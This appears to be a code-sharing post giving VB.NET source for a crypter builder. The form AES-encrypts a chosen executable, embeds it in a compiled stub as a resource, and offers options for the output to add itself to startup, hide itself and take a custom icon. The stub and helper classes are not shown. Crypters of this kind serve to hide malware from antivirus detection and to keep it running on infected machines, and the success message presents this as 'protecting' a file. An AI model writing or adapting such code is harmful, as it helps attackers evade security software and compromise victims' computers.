.NET VB.NET - Example Crypter - A crypter example source code

Code
Public Class Form1



    Private Sub button1_Click(sender As Object, e As EventArgs) Handles Button1.Click

  Dim FOpen As New OpenFileDialog() With {.Filter = "Executable Files|*.exe", _

  .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}

  If FOpen.ShowDialog() = DialogResult.OK Then

    TextBox1.Text = FOpen.FileName

  End If

    End Sub



    Private Sub button2_Click(sender As Object, e As EventArgs) Handles Button2.Click

  Dim FOpen As New OpenFileDialog() With {.Filter = "Icon Files|*.ico", _

  .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}

  If FOpen.ShowDialog() = DialogResult.OK Then

    TextBox2.Text = FOpen.FileName

  End If

    End Sub



    Private Sub button3_Click(sender As Object, e As EventArgs) Handles Button3.Click

  TextBox3.Text = RandomString(25)

    End Sub



    Private Function RandomString(length As Integer) As String

  Dim pool As String = "abcdefghijklmnopqrstuvwxyz"

  pool += pool.ToUpper()

  Dim tmp As String = ""

  Dim R As New Random()

  For x As Integer = 0 To length - 1

    tmp += pool(R.[Next](0, pool.Length)).ToString()

  Next

  Return tmp

    End Function



    Private Sub button4_Click(sender As Object, e As EventArgs) Handles Button4.Click

  Dim FSave As New SaveFileDialog() With {.Filter = "Executable Files|*.exe", _

  .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}

  If FSave.ShowDialog() = DialogResult.OK Then

    ' We read the source of the stub from the resources

    ' and we're storing it into a variable.

    Dim Source As String = My.Resources.Stub

    ' If the user picked a storage method (he obviously did)

    ' then replace the value on the source of the stub

    ' that will later tell the stub from where it should

    ' read the bytes.

    If RadioButton1.Checked Then

    ' User picked native resources method.

    Source = Source.Replace("[storage-replace]", "native")

    Else

    ' User picked managed resources method.

    Source = Source.Replace("[storage-replace]", "managed")

    End If

    ' Check to see if the user enabled startup

    ' and replace the boolean value in the stub

    ' which indicates if the crypted file should

    ' add itself to startup

    If CheckBox1.Checked Then

    ' User enabled startup.

    Source = Source.Replace("[startup-replace]", "true")

    Else

    ' User did not enable startup.

    Source = Source.Replace("[startup-replace]", "false")

    End If

    ' Check to see if the user enabled hide file

    ' and replace the boolean value in the stub

    ' which indicates if the crypted file should hide itself

    If CheckBox2.Checked Then

    ' User enabled hide file.

    Source = Source.Replace("[hide-replace]", "true")

    Else

    ' User did not enable hide file.

    Source = Source.Replace("[hide-replace]", "false")

    End If

    ' Replace the encryption key in the stub

    ' as it will be used by it in order to

    ' decrypt the encrypted file.

    Source = Source.Replace("[key-replace]", textBox3.Text)

    ' Read the bytes of the file the user wants to crypt.

    Dim FileBytes As Byte() = IO.File.ReadAllBytes(textBox1.Text)

    ' Encrypt the file using the AES encryption algorithm.

    ' The key is the random string the user generated.

    Dim EncryptedBytes As Byte() = Encryption.AESEncrypt(FileBytes, textBox3.Text)



    'IO.File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "/source.txt", Source)



    ' Compile the file according to the storage method the user picked.

    ' We also declare a variable to store the result of the compilation.

    Dim success As Boolean

    If RadioButton1.Checked Then

    ' User picked native resources method 

    ' Check if the user picked an icon file and if it exists.

    If IO.File.Exists(TextBox2.Text) Then

    ' Compile with an icon.

    success = Compiler.CompileFromSource(Source, FSave.FileName, TextBox2.Text)

    Else

    ' Compile without an icon.

    success = Compiler.CompileFromSource(Source, FSave.FileName)

    End If

    Writer.WriteResource(FSave.FileName, EncryptedBytes)

    Else

    ' The user picked the managed resource method so we'll create

    ' a resource file that will contain the bytes. Then we will

    ' compile the stub and add that resource file to the compiled

    ' stub.

    Dim ResFile As String = IO.Path.Combine(Application.StartupPath, "Encrypted.resources")

    Using Writer As New Resources.ResourceWriter(ResFile)

    ' Add the encrypted bytes to the resource file.

    Writer.AddResource("encfile", EncryptedBytes)

    ' Generate the resource file.

    Writer.Generate()

    End Using

    ' Check if the user picked an icon file and if it exists.

    If IO.File.Exists(TextBox2.Text) Then

    ' Compile with an icon.

    success = Compiler.CompileFromSource(Source, FSave.FileName, TextBox2.Text, New String() {ResFile})

    Else

    ' Compile without an icon.

    success = Compiler.CompileFromSource(Source, FSave.FileName, Nothing, New String() {ResFile})

    End If

    ' Now that the stub was compiled, we delete

    ' the resource file since we don't need it anymore.

    IO.File.Delete(ResFile)

    End If

    If success Then

    MessageBox.Show("Your file has been successfully protected.", "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information)

    End If

  End If

    End Sub

    End Class